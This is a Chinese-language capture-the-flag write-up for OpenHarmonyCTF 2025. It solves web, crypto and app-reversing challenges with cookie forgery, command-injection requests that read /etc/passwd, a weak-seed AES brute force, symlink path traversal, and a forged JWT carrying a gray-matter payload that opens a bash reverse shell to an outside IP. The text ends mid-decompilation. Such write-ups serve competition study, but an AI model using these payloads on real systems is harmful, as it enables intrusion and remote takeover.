0penHarmonyCTF2025

Layers of Compromise

扫目录得到配置文件

# .htaccess
Options -Indexes
php_flag display_errors off

<Files "config.php">
    Order Allow,Deny
    Deny from all
</Files>

# 限制访问API目录
<FilesMatch "^debug\.php$">
    Order Deny,Allow
    Deny from all
</FilesMatch>

后面发现没啥用，首先弱密码登录后台user\password123，登录进去之后换Cookie为两个admin，想要查看日志，但是直接跳转出去了，发现目录/secrettttts/里面可以拿到开发者token，现在去扫描，得到token.txt，得到

7f8a1a4b3c7d9e6f2b5s8d7f9g6h5j4k3l2m1n
--auth.php
if (isset($_COOKIE['auth_token'])) {
    $auth_data = unserialize(base64_decode($_COOKIE['auth_token']));
    if ($auth_data['username'] === 'dev' && 
        $auth_data['hash'] === md5('dev' . $CONFIG['auth_key'])) {
        return true;
    }
}
--
'username'=>'dev' 'auth_key' => 'S3cr3tK3y!2023'

让AI写个文件伪造

<?php
// 认证信息
$username = 'dev';
$auth_key = 'S3cr3tK3y!2023';

// 计算hash值
$hash = md5($username . $auth_key);

// 构造认证数据数组
$auth_data = array(
    'username' => $username,
    'hash' => $hash
);

// 序列化并base64编码
$serialized = serialize($auth_data);
$auth_token = base64_encode($serialized);

// 输出结果
echo "生成的认证信息:\n";
echo "Username: " . $username . "\n";
echo "Auth Key: " . $auth_key . "\n";
echo "Hash: " . $hash . "\n";
echo "Serialized: " . $serialized . "\n";
echo "Auth Token (Cookie值): " . $auth_token . "\n\n";

// 验证逻辑（模拟服务器端验证）
echo "验证测试:\n";
$decoded = base64_decode($auth_token);
$unserialized = unserialize($decoded);

if ($unserialized['username'] === 'dev' &&
    $unserialized['hash'] === md5('dev' . $auth_key)) {
    echo "✓ 认证成功！\n";
} else {
    echo "✗ 认证失败！\n";
}

// Cookie设置示例
echo "\nCookie设置示例:\n";
echo "setcookie('auth_token', '$auth_token', time() + 3600);\n";

// 或者直接在浏览器中设置
echo "\n浏览器开发者工具中设置:\n";
echo "document.cookie = 'auth_token=$auth_token';\n";
?>

由于日志太多，重开靶机，但是进来之后发现还是这么多，并且知道token是静态的，看到查询的时候有参数

抓包测试RCE接口，目的闭合前面读取文件，后面拼接命令，测试发现下图

那说明必须带引号，测试出来空格被过滤，绕过之后成功RCE

POST /logs.php HTTP/1.1
Host: web-f2bccde0d7.challenge.xctf.org.cn
Content-Length: 31
Cache-Control: max-age=0
Origin: http://web-f2bccde0d7.challenge.xctf.org.cn
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://web-f2bccde0d7.challenge.xctf.org.cn/logs.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: role=admin; username=admin; auth_token=YToyOntzOjg6InVzZXJuYW1lIjtzOjM6ImRldiI7czo0OiJoYXNoIjtzOjMyOiI1ZGEwYjcxNTZkZDk1ZGQ3ZjdlYmNlNjA4YTBhNDY2YiI7fQ==
Connection: close

action=filter_logs&filter="${IFS}/etc/passwd;whoami"

POST /logs.php HTTP/1.1
Host: web-f2bccde0d7.challenge.xctf.org.cn
Content-Length: 31
Cache-Control: max-age=0
Origin: http://web-f2bccde0d7.challenge.xctf.org.cn
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://web-f2bccde0d7.challenge.xctf.org.cn/logs.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: role=admin; username=admin; auth_token=YToyOntzOjg6InVzZXJuYW1lIjtzOjM6ImRldiI7czo0OiJoYXNoIjtzOjMyOiI1ZGEwYjcxNTZkZDk1ZGQ3ZjdlYmNlNjA4YTBhNDY2YiI7fQ==
Connection: close

action=filter_logs&filter="${IFS}/etc/passwd;head${IFS}/data/fl""ag"

提示说是一个目录

POST /logs.php HTTP/1.1
Host: web-f2bccde0d7.challenge.xctf.org.cn
Content-Length: 31
Cache-Control: max-age=0
Origin: http://web-f2bccde0d7.challenge.xctf.org.cn
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://web-f2bccde0d7.challenge.xctf.org.cn/logs.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: role=admin; username=admin; auth_token=YToyOntzOjg6InVzZXJuYW1lIjtzOjM6ImRldiI7czo0OiJoYXNoIjtzOjMyOiI1ZGEwYjcxNTZkZDk1ZGQ3ZjdlYmNlNjA4YTBhNDY2YiI7fQ==
Connection: close

action=filter_logs&filter="${IFS}/etc/passwd;head${IFS}/data/fl""ag/f*"

Weak_random

from secret import flag
import time
import os
import random
from Crypto.Util.number import *
from Crypto.Cipher import AES
import os
import hashlib

assert(len(flag)==32)

def padding(message):
    padding_len = 16 - len(message)%16
    ret = hex(padding_len)[2:].zfill(2)
    return bytes.fromhex(ret*padding_len)+message

def get_weak_entropy():
    time_now=time.time()%10000

    entropy_part1 = int(time_now) & 0xFFFF 

    entropy_part2 = os.getpid() & 0xFF

    final_seed = entropy_part1 + (entropy_part2 << 8) 
    random.seed(final_seed)
    
    key = random.getrandbits(128) 

    return key
entropy_key=get_weak_entropy()
iv = os.urandom(16)
key_bytes = entropy_key.to_bytes(16, byteorder='big')
msg=padding(flag.encode())
aes = AES.new(key_bytes,AES.MODE_CBC,iv=iv)
enc = aes.encrypt(msg)
print(enc.hex())
check=hashlib.sha256(flag.encode('utf-8')).hexdigest()  
print(check)
#enc=65049cc9e72061eb059a48696dc8c563b7f1092d9e98b5b19fa608f2274bcbb5306018dcbf41979d324de2bdfb022c4b
#check=997008b9fc51954c61e0bfb0ac0dba6c6b48b060a0a1db411ce83ff99e499e7b

LLM提示词为

Weak_random
303PT
CRYPTO
一道弱伪随机数生成器题目，密钥的生成过程存在严重漏洞。
老师这是一道密码的CTF题目，请密码老师以最专业的手法解决这道密码题目可以吗，给我写个脚本获得flag

解出flag直接包裹提交即可

from Crypto.Cipher import AES
import hashlib
import random

# 给定数据
enc_hex = "65049cc9e72061eb059a48696dc8c563b7f1092d9e98b5b19fa608f2274bcbb5306018dcbf41979d324de2bdfb022c4b"
check = "997008b9fc51954c61e0bfb0ac0dba6c6b48b060a0a1db411ce83ff99e499e7b"

# 将密文转换为字节并分割为CBC分组
ciphertext = bytes.fromhex(enc_hex)
C1 = ciphertext[0:16]  # 第一密文块
C2 = ciphertext[16:32]  # 第二密文块
C3 = ciphertext[32:48]  # 第三密文块

# 爆破种子空间 (timestamp: 0-9999, pid: 0-255)
for timestamp in range(10000):
    for pid in range(256):
        # 重建弱熵种子
        seed = timestamp + (pid << 8)
        random.seed(seed)

        # 生成AES密钥
        key = random.getrandbits(128).to_bytes(16, 'big')

        # 创建AES-ECB解密器（CBC解密只需分组解密）
        cipher = AES.new(key, AES.MODE_ECB)

        try:
            # 解密第二块：S2 = AES⁻¹(C2), P2 = S2 ⊕ C1
            S2 = cipher.decrypt(C2)
            P2 = bytes(S2[i] ^ C1[i] for i in range(16))

            # 解密第三块：S3 = AES⁻¹(C3), P3 = S3 ⊕ C2
            S3 = cipher.decrypt(C3)
            P3 = bytes(S3[i] ^ C2[i] for i in range(16))

            # 合并后32字节作为flag候选
            flag_candidate = P2 + P3

            # 验证SHA256
            if hashlib.sha256(flag_candidate).hexdigest() == check:
                print(f"Found flag: {flag_candidate.decode()}")
                print(f"Seed: timestamp={timestamp}, pid={pid}")
                exit(0)

        except Exception:
            continue

print("Flag not found! Adjust search parameters.")

Filesystem

// admin.controller.ts
import {
    Controller,
    Post,
    Body,
    HttpException,
    HttpStatus,
    Response, Get, Query, Request, Render, Optional, BadRequestException,
} from '@nestjs/common';
import { JwtService } from '@nestjs/jwt';
import * as fs from 'fs';
import {IsInt, IsOptional, IsString, Length, validate} from "class-validator";
import * as gray from "gray-matter"

const configFile = "/opt/filesystem/adminconfig.lock"

class AdminLoginDto {
    @IsOptional()
    @IsString({ message: 'Name must be a string' })
    @Length(0, 15, { message: 'length < 15' })
    username: string;


    @Length(0, 15, { message: 'length < 15' })
    password: number;

    @IsOptional()
    @Length(0, 15, { message: 'length < 15' })
    slogon: string
}
@Controller('/admin')
export class AdminController {
    private readonly username = 'admin';


    constructor(private readonly jwtService: JwtService) {}

    private getAdminConfig() {
        try {
            const data = fs.readFileSync(configFile, 'utf8');
            return JSON.parse(data);
        } catch (error) {
            throw new HttpException('Failed to read config file', HttpStatus.INTERNAL_SERVER_ERROR);
        }
    }

    @Post('login')
    async login(@Body() body: any, @Response() res) {
        const loginUser = Object.assign(new AdminLoginDto(), body)
        const { password: correctPassword, slogon } = this.getAdminConfig();
        const errors = await validate(loginUser, {forbidUnknownValues: false});
        if (errors.length > 0) {
            throw new BadRequestException(errors);
        }
        if (loginUser.username !== this.username || loginUser.password !== correctPassword) {
            throw new HttpException('Invalid credentials', HttpStatus.UNAUTHORIZED);
        }

        const payload = { username: this.username, slogon };
        const token = this.jwtService.sign(payload);


        res.cookie('token', token, { httpOnly: true });
        return res.status(200).json({ message: '登录成功' });
    }

    @Get('login')
    @Render('login')
    renderLogin() {

    }

    @Get('index')
    // @Render("admin")
    renderAdmin(@Request() req, @Response() res) {
        console.log(req.cookies)
        const token = req.cookies.token;

        if (!token) {
            return res.status(401).json({ message: '未授权' });
        }

        try {
            const decoded = this.jwtService.verify(token);
            const profile = gray.stringify(gray(decoded.slogon).content, {username: decoded.username})
            console.log(profile)
            res.render('admin', {"info": profile});
        } catch (error) {
            return res.status(401).json({ message: '无效的令牌' });
        }
    }


    @Get('changePassword')
    // @Render("admin")
    change(@Request() req, @Response() res) {
        console.log(req.cookies)
        const token = req.cookies.token;

        if (!token) {
            return res.status(401).json({ message: '未授权' });
        }

        try {
            const decoded = this.jwtService.verify(token);
            res.render('change');
        } catch (error) {
            return res.status(401).json({ message: '无效的令牌' });
        }
    }


    @Post('changePassword')
    async changePassword(@Request() req, @Body() body: any, @Response() res) {
        const token = req.cookies.token;
        const { password, slogon } = this.getAdminConfig();
        const newUser = Object.assign(new AdminLoginDto(), body)
        const errors = await validate(newUser, {forbidUnknownValues: false});
        if (errors.length > 0) {
            throw new BadRequestException(errors);
        }

        if (!token) {
            return res.status(401).json({ message: '未授权' });
        }

        try {
            const decoded = this.jwtService.verify(token);


            if (newUser.slogon == null) newUser.slogon = slogon
            const newInfo = JSON.stringify(newUser)
            fs.writeFileSync(configFile, JSON.stringify(newUser, null, 2));
            return res.status(200).json({message: '修改成功'})
        } catch (error) {
            return res.status(401).json({ message: '发生错误' });
        }

    }
}

gray-matter漏洞，当我们可控jwt的时候即可RCE，接着看到上传以及下载

import {
  Controller,
  Post,
  Body,
  HttpException,
  HttpStatus,
  Response,
  Get,
  Query,
  Request,
  Render,
  Optional,
  BadRequestException,
  Param,
  NotFoundException,
  UploadedFile,
  UseInterceptors,
} from '@nestjs/common';
import {IsString, IsInt, validate, ValidateIf, Length} from 'class-validator';
// import { plainToClass } from 'class-transformer';
import {validateOrReject, Contains, IsEmail, IsFQDN, IsDate, Min, Max} from "class-validator";
import * as filehelper from "./functions"
import * as path from "path";
import {FileInterceptor} from "@nestjs/platform-express";
import * as fs from "fs";

const uploadPath = "/opt/uploads"


@Controller()
export class AppController {
  @Get('')
  @Render('index')
  index(){
  }
  @Post('upload')
  @UseInterceptors(FileInterceptor('file'))
  async doUpload(@UploadedFile() file: Express.Multer.File) {
    const targetPath = path.join(uploadPath, file.originalname);
    console.log(targetPath)
    if(file.originalname.endsWith(".zip") || file.originalname.endsWith(".tar")){
      fs.renameSync(file.path, targetPath);
      var result :string
      result = await  filehelper.extractArc(targetPath)

      return { message: '文件上传解压成功成功！文件夹为：', path: path.basename(result) }
    }else{
      fs.renameSync(file.path, targetPath);
      return { message: '文件上传成功！', path: file.originalname };
    }
  }


  @Get('download')
  async downloadFile(@Query('filename') filename: string, @Response() res) {
    if(filename.includes("./")) throw new NotFoundException('路径不合法');
    const filePath = path.join('/opt/uploads', filename);

    if (!fs.existsSync(filePath)) {
      throw new NotFoundException('文件未找到');
    }

    res.download(filePath, (err) => {
      if (err) {
        res.status(500).send('下载失败');
      }
    });
  }
}

直接进行路径拼接，要是个php直接文件上传覆盖getshell了，但是这个是ts，所以瞄准下载，很明显可以进行软连接，因为只检查filename

ln -s / password

tar cvf test1.tar password

在\src\app.module.js看到secret

利用进程读取(比较保险)

GET /download?filename=upload_1749381767703/password/proc/self/cwd/src/app.module.ts HTTP/1.1
Host: web-4d158860f7.challenge.xctf.org.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: */*
Referer: http://web-4d158860f7.challenge.xctf.org.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

得到sec_y0u_nnnnever_know，现在去伪造jwtRCE即可，在最开始的代码中我们可以得知jwt需要两个值，一个是username，一个是slogon

{
  "username": "admin",
  "slogon": "---js\n((require(\"child_process\")).execSync(\"bash -c 'bash -i >& /dev/tcp/8.137.148.227/4444 0>&1'\"))\n---RCE"
}

GET /admin/index HTTP/1.1
Host: web-6cb2a0b1af.challenge.xctf.org.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwic2xvZ29uIjoiLS0tanNcbigocmVxdWlyZShcImNoaWxkX3Byb2Nlc3NcIikpLmV4ZWNTeW5jKFwiYmFzaCAtYyAnYmFzaCAtaSA-JiAvZGV2L3RjcC84LjEzNy4xNDguMjI3LzQ0NDQgMD4mMSdcIikpXG4tLS1SQ0UifQ.-tpMuevtMhY6tq39njE7ZtYxWF5n9nIkdgMqTehCHkk
Accept: */*
Referer: http://web-6cb2a0b1af.challenge.xctf.org.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

ezAPP_And_SERVER

https://github.com/ohos-decompiler/abc-decompiler/releases 下载反编译工具，注意这玩意得用jdk17去加载

package p001entry/src/main/ets/entryability;

/* renamed from: &entry/src/main/ets/entryability/EntryAbility&, reason: invalid class name */
/* loaded from: F:\Download\contacts.hap\contacts\ets\modules.abc */
public class EntryAbility {
    public Object pkgName@entry;
    public Object isCommonjs;
    public Object hasTopLevelAwait;
    public Object isSharedModule;
    public Object scopeNames;
    public Object moduleRecordIdx;

    /* JADX WARN: Type inference failed for: r17v2, types: [Object, int] */
    public Object #~@0>@1*#(Object functionObject, Object newTarget, EntryAbility this, Object arg0) {
        if (isfalse(arg0.code) == null) {
            hilog = import { default as hilog } from "@ohos:hilog";
            hilog.error(_lexenv_1_0_, "testTag", "Failed to load the content. Cause: %{public}s", JSON.stringify(arg0));
            return null;
        }
        hilog2 = import { default as hilog } from "@ohos:hilog";
        hilog2.info(_lexenv_1_0_, "testTag", "Succeeded in loading the content.");
        return null;
    }

    public Object func_main_0(Object functionObject, Object newTarget, EntryAbility this) {
        newlexenvwithname([1, "DOMAIN", 0], 1);
        _lexenv_0_0_ = null;
        UIAbility = import { default as UIAbility } from "@ohos:app.ability.UIAbility";
        obj = UIAbility.#~@0=#EntryAbility(Object2, Object3, UIAbility, ["onCreate", "&entry/src/main/ets/entryability/EntryAbility&.#~@0>#onCreate", 2, "onDestroy", "&entry/src/main/ets/entryability/EntryAbility&.#~@0>#onDestroy", 0, "onWindowStageCreate", "&entry/src/main/ets/entryability/EntryAbility&.#~@0>#onWindowStageCreate", 1, "onWindowStageDestroy", "&entry/src/main/ets/entryability/EntryAbility&.#~@0>#onWindowStageDestroy", 0, "onForeground", "&entry/src/main/ets/entryability/EntryAbility&.#~@0>#onForeground", 0, "onBackground", "&entry/src/main/ets/entryability/EntryAbility&.#~@0>#onBackground", 0, 6]);
        obj2 = obj.prototype;
        _module_0_ = obj;
        return null;
    }

    public Object #~@0>#onCreate(Object functionObject, Object newTarget, EntryAbility this, Object arg0, Object arg1) {
        obj = this.context;
        getApplicationContext = obj.getApplicationContext();
        getApplicationContext.setColorMode(import { default as ConfigurationConstant } from "@ohos:app.ability.ConfigurationConstant".ColorMode.COLOR_MODE_NOT_SET);
        global.ip = "47.96.162.115:8080";
        hilog = import { default as hilog } from "@ohos:hilog";
        hilog.info(_lexenv_0_0_, "testTag", "%{public}s", "Ability onCreate");
        return null;
    }

    public Object #~@0>#onDestroy(Object functionObject, Object newTarget, EntryAbility this) {
        hilog = import { default as hilog } from "@ohos:hilog";
        hilog.info(_lexenv_0_0_, "testTag", "%{public}s", "Ability onDestroy");
        return null;
    }

    public Object #~@0=#EntryAbility(Object functionObject, Object newTarget, EntryAbility this, Object arg0) {
        return functionObject.superConstructor(Object1, Object2, Object3, functionObject, new Object[]{functionObject, newTarget, this, arg0});
    }

    public Object #~@0>#onBackground(Object functionObject, Object newTarget, EntryAbility this) {
        hilog = import { default as hilog } from "@ohos:hilog";
        hilog.info(_lexenv_0_0_, "testTag", "%{public}s", "Ability onBackground");
        return null;
    }

    public Object #~@0>#onForeground(Object functionObject, Object newTarget, EntryAbility this) {
        hilog = import { default as hilog } from "@ohos:hilog";
        hilog.info(_lexenv_0_0_, "testTag", "%{public}s", "Ability onForeground");
        return null;
    }

    public Object #~@0>#onWindowStageCreate(Object functionObject, Object newTarget, EntryAbility this, Object arg0) {
        newlexenvwithname([2, "4newTarget", 0, "this", 1], 2);
        _lexenv_0_0_ = newTarget;
        _lexenv_0_1_ = this;
        hilog = import { default as hilog } from "@ohos:hilog";
        hilog.info(_lexenv_1_0_, "testTag", "%{public}s", "Ability onWindowStageCreate");
        arg0.loadContent("pages/Index", #~@0>@1*#);
        return null;
    }

    public Object #~@0>#onWindowStageDestroy(Object functionObject, Object newTarget, EntryAbility this) {
        hilog = import { default as hilog } from "@ohos:hilog";
        hilog.info(_lexenv_0_0_, "testTag", "%{public}s", "Ability onWindowStageDestroy");
        return null;
    }
}

给了一个IP地址，但是无伤大雅，

package p001entry/src/main/ets/pages;

/* renamed from: &entry/src/main/ets/pages/Index&, reason: invalid class name */
/* loaded from: F:\Download\contacts.hap\contacts\ets\modules.abc */
public class Index {
    public Object pkgName@entry;
    public Object isCommonjs;
    public Object hasTopLevelAwait;
    public Object isSharedModule;
    public Object scopeNames;
    public Object moduleRecordIdx;

    public Object #*#(Object functionObject, Object newTarget, Index this) {
        return null;
    }

    /* JADX WARN: Type inference failed for: r10v0, types: [java.lang.Class] */
    public Object #*#^1(Object functionObject, Object newTarget, Index this) {
        return _lexenv_0_0_(null, createemptyobject());
    }

    public Object #~@0>@1*#(Object functionObject, Object newTarget, Index this, Object arg0, Object arg1) {
        obj = Stack.create;
        obj2 = createobjectwithbuffer(["alignContent", 0]);
        obj2.alignContent = Alignment.Top;
        obj(obj2);
        Stack.width(import { StyleConstants } from "@normalized:N&&&entry/src/main/ets/common/constants/StyleConstants&".FULL_WIDTH);
        return null;
    }

    /* JADX WARN: Multi-variable type inference failed */
    /* JADX WARN: Type inference failed for: r16v0, types: [&entry/src/main/ets/pages/Index&] */
    /* JADX WARN: Type inference failed for: r23v34, types: [int] */
    public Object #~@0=#Index(Object functionObject, Object newTarget, Index this, Object arg0, Object arg1, Object arg2, Object arg3, Object arg4, Object arg5) {
        obj = arg3;
        obj2 = arg4;
        if ((0 == obj ? 1 : 0) != 0) {
            obj = -1;
        }
        if ((0 == obj2 ? 1 : 0) != 0) {
            obj2 = null;
        }
        obj3 = super(arg0, arg2, obj, arg5);
        if (("function" == typeof(obj2) ? 1 : 0) != 0) {
            obj3.paramsGenerator_ = obj2;
        }
        obj3.setInitiallyProvidedValue(arg1);
        obj3.finalizeConstruction();
        return obj3;
    }

    /* JADX WARN: Multi-variable type inference failed */
    /* JADX WARN: Type inference failed for: r21v10, types: [Object, java.lang.Class] */
    public Object #~@0>@1*#^1(Object functionObject, Object newTarget, Index this, Object arg0, Object arg1) {
        if (isfalse(arg1) != null) {
            ldlexvar = _lexenv_0_1_;
            ldlexvar.updateStateVarsOfChildByElmtId(arg0, createemptyobject());
            return null;
        }
        newobjrange = import { Header } from "@normalized:N&&&entry/src/main/ets/components/Header&"(_lexenv_0_1_, createemptyobject(), null, arg0, #~@0>@1*^1*#, createobjectwithbuffer(["page", "entry/src/main/ets/pages/Index.ets", "line", 28, "col", 7]));
        ViewPU.create(newobjrange);
        newobjrange.paramsGenerator_ = #~@0>@1*^1*#paramsLambda;
        return null;
    }

    /* JADX WARN: Multi-variable type inference failed */
    /* JADX WARN: Type inference failed for: r21v10, types: [Object, java.lang.Class] */
    public Object #~@0>@1*#^2(Object functionObject, Object newTarget, Index this, Object arg0, Object arg1) {
        if (isfalse(arg1) != null) {
            ldlexvar = _lexenv_0_1_;
            ldlexvar.updateStateVarsOfChildByElmtId(arg0, createemptyobject());
            return null;
        }
        newobjrange = import { Content } from "@normalized:N&&&entry/src/main/ets/components/Content&"(_lexenv_0_1_, createemptyobject(), null, arg0, #~@0>@1*^2*#, createobjectwithbuffer(["page", "entry/src/main/ets/pages/Index.ets", "line", 29, "col", 7]));
        ViewPU.create(newobjrange);
        newobjrange.paramsGenerator_ = #~@0>@1*^2*#paramsLambda;
        return null;
    }

    /* JADX WARN: Type inference failed for: r13v7, types: [boolean, int] */
    public Object func_main_0(Object functionObject, Object newTarget, Index this) {
        newlexenvwithname([3, "Index", 0, "4newTarget", 1, "this", 2], 3);
        _lexenv_0_1_ = newTarget;
        _lexenv_0_2_ = this;
        if (isIn("finalizeConstruction", ViewPU.prototype) == false) {
            Reflect.set(ViewPU.prototype, "finalizeConstruction", #*#);
        }
        obj = ViewPU.#~@0=#Index(Object2, Object3, ViewPU, ["setInitiallyProvidedValue", "&entry/src/main/ets/pages/Index&.#~@0>#setInitiallyProvidedValue", 1, "updateStateVars", "&entry/src/main/ets/pages/Index&.#~@0>#updateStateVars", 1, "purgeVariableDependenciesOnElmtId", "&entry/src/main/ets/pages/Index&.#~@0>#purgeVariableDependenciesOnElmtId", 1, "aboutToBeDeleted", "&entry/src/main/ets/pages/Index&.#~@0>#aboutToBeDeleted", 0, "initialRender", "&entry/src/main/ets/pages/Index&.#~@0>#initialRender", 0, "rerender", "&entry/src/main/ets/pages/Index&.#~@0>#rerender", 0, "getEntryName", "&entry/src/main/ets/pages/Index&.#~@0<#getEntryName", 0, 6]);
        obj2 = obj.prototype;
        _lexenv_0_0_ = obj;
        registerNamedRoute(#*#^1, "", createobjectwithbuffer(["bundleName", "com.example.myapplication", "moduleName", "entry", "pagePath", "pages/Index", "pageFullPath", "entry/src/main/ets/pages/Index", "integratedHsp", "false", "moduleType", "followWithHap"]));
        return null;
    }

    public Object #~@0>@1*^1*#(Object functionObject, Object newTarget, Index this) {
        return null;
    }

    public Object #~@0>@1*^2*#(Object functionObject, Object newTarget, Index this) {
        return null;
    }

    public Object #~@0>#rerender(Object functionObject, Object newTarget, Index this) {
        this.updateDirtyElements();
        return null;
    }

    public Object #~@0<#getEntryName(Object functionObject, Object newTarget, Index this) {
        return "Index";
    }

    public Object #~@0>#initialRender(Object functionObject, Object newTarget, Index this) {
        newlexenvwithname([2, "4newTarget", 0, "this", 1], 2);
        _lexenv_0_0_ = newTarget;
        _lexenv_0_1_ = this;
        ldlexvar = _lexenv_0_1_;
        ldlexvar.observeComponentCreation2(#~@0>@1*#, Stack);
        ldlexvar2 = _lexenv_0_1_;
        ldlexvar2.observeComponentCreation2(#~@0>@1*#^1, createobjectwithbuffer(["name", "Header"]));
        ldlexvar3 = _lexenv_0_1_;
        ldlexvar3.observeComponentCreation2(#~@0>@1*#^2, createobjectwithbuffer(["name", "Content"]));
        Stack.pop();
        return null;
    }

    public Object #~@0>#updateStateVars(Object functionObject, Object newTarget, Index this, Object arg0) {
        return null;
    }

    public Object #~@0>#aboutToBeDeleted(Object functionObject, Object newTarget, Index this) {
        Get = SubscriberManager.Get();
        Get.delete(this.id__());
        this.aboutToBeDeletedInternal();
        return null;
    }

    public Object #~@0>@1*^1*#paramsLambda(Object functionObject, Object newTarget, Index this) {
        return createemptyobject();
    }

    public Object #~@0>@1*^2*#paramsLambda(Object functionObject, Object newTarget, Index this) {
        return createemptyobject();
    }

    public Object #~@0>#setInitiallyProvidedValue(Object functionObject, Object newTarget, Index this, Object arg0) {
        return null;
    }

    public Object #~@0>#purgeVariableDependenciesOnElmtId(Object functionObject, Object newTarget, Index this, Object arg0) {
        return null;
    }
}

主要是导入了两个组件Content和header，接下来看这两个组件

package p001entry/src/main/ets/components;

/* renamed from: &entry/src/main/ets/components/Content&, reason: invalid class name */
/* loaded from: F:\Download\contacts.hap\contacts\ets\modules.abc */
public class Content {
    public Object pkgName@entry;
    public Object isCommonjs;
    public Object hasTopLevelAwait;
    public Object isSharedModule;
    public Object scopeNames;
    public Object moduleRecordIdx;

    public Object #*#(Object functionObject, Object newTarget, Content this) {
        return null;
    }

    public Object #~@0>@1*#(Object functionObject, Object newTarget, Content this, Object arg0, Object arg1) {
        Column.create();
        return null;
    }

    public Object #~@0>@1*#^1(Object functionObject, Object newTarget, Content this, Object arg0, Object arg1) {
        GridRow.create();
        GridRow.height(import { StyleConstants } from "@normalized:N&&&entry/src/main/ets/common/constants/StyleConstants&".FULL_HEIGHT);
        return null;
    }

    public Object #~@0>@1*#^2(Object functionObject, Object newTarget, Content this, Object arg0, Object arg1) {
        obj = GridCol.create;
        obj2 = createobjectwithbuffer(["span", 0]);
        obj3 = createobjectwithbuffer(["sm", 0, "md", 0, "lg", 0]);
        obj3.sm = import { GridConstants } from "@normalized:N&&&entry/src/main/ets/common/constants/GridConstants&".SPAN_TWELVE;
        obj3.md = import { GridConstants } from "@normalized:N&&&entry/src/main/ets/common/constants/GridConstants&".SPAN_SIX;
        obj3.lg = import { GridConstants } from "@normalized:N&&&entry/src/main/ets/common/constants/GridConstants&".SPAN_EIGHT;
        obj2.span = obj3;
        obj(obj2);
        obj4 = GridCol.borderRadius;
        obj5 = createobjectwithbuffer(["id", 16777317, "type", 10002, "params", 0, "bundleName", "com.example.myapplication", "moduleName", "entry"]);
        obj5.params = [Object];
        obj4(obj5);
        return null;
    }

    /* JADX WARN: Multi-variable type inference failed */
    /* JADX WARN: Type inference failed for: r21v10, types: [Object, java.lang.Class] */
    public Object #~@0>@1*#^3(Object functionObject, Object newTarget, Content this, Object arg0, Object arg1) {
        if (isfalse(arg1) != null) {
            ldlexvar = _lexenv_0_1_;
            ldlexvar.updateStateVarsOfChildByElmtId(arg0, createemptyobject());
            return null;
        }
        newobjrange = import { UserList } from "@normalized:N&&&entry/src/main/ets/components/UserList&"(_lexenv_0_1_, createemptyobject(), null, arg0, #~@0>@1*^3*#, createobjectwithbuffer(["page", "entry/src/main/ets/components/Content.ets", "line", 15, "col", 11]));
        ViewPU.create(newobjrange);
        newobjrange.paramsGenerator_ = #~@0>@1*^3*#paramsLambda;
        return null;
    }

    public Object #~@0>@1*#^4(Object functionObject, Object newTarget, Content this, Object arg0, Object arg1) {
        Text.create("FIND THE HIDDEN ONE");
        return null;
    }

    /* JADX WARN: Type inference failed for: r13v7, types: [boolean, int] */
    public Object func_main_0(Object functionObject, Object newTarget, Content this) {
        newlexenvwithname([2, "4newTarget", 0, "this", 1], 2);
        _lexenv_0_0_ = newTarget;
        _lexenv_0_1_ = this;
        if (isIn("finalizeConstruction", ViewPU.prototype) == false) {
            Reflect.set(ViewPU.prototype, "finalizeConstruction", #*#);
        }
        obj = ViewPU.#~@0=#Content(Object2, Object3, ViewPU, ["setInitiallyProvidedValue", "&entry/src/main/ets/components/Content&.#~@0>#setInitiallyProvidedValue", 1, "updateStateVars", "&entry/src/main/ets/components/Content&.#~@0>#updateStateVars", 1, "purgeVariableDependenciesOnElmtId", "&entry/src/main/ets/components/Content&.#~@0>#purgeVariableDependenciesOnElmtId", 1, "aboutToBeDeleted", "&entry/src/main/ets/components/Content&.#~@0>#aboutToBeDeleted", 0, "initialRender", "&entry/src/main/ets/components/Content&.#~@0>#initialRender", 0, "rerender", "&entry/src/main/ets/components/Content&.#~@0>#rerender", 0, 6]);
        obj2 = obj.prototype;
        _module_0_ = obj;
        return null;
    }

    public Object #~@0>@1*^3*#(Object functionObject, Object newTarget, Content this) {
        return null;
    }

    /* JADX WARN: Multi-variable type inference failed */
    /* JADX WARN: Type inference failed for: r16v0, types: [&entry/src/main/ets/components/Content&] */
    /* JADX WARN: Type inference failed for: r23v34, types: [int] */
    public Object #~@0=#Content(Object functionObject, Object newTarget, Content this, Object arg0, Object arg1, Object arg2, Object arg3, Object arg4, Object arg5) {
        obj = arg3;
        obj2 = arg4;
        if ((0 == obj ? 1 : 0) != 0) {
            obj = -1;
        }
        if ((0 == obj2 ? 1 : 0) != 0) {
            obj2 = null;
        }
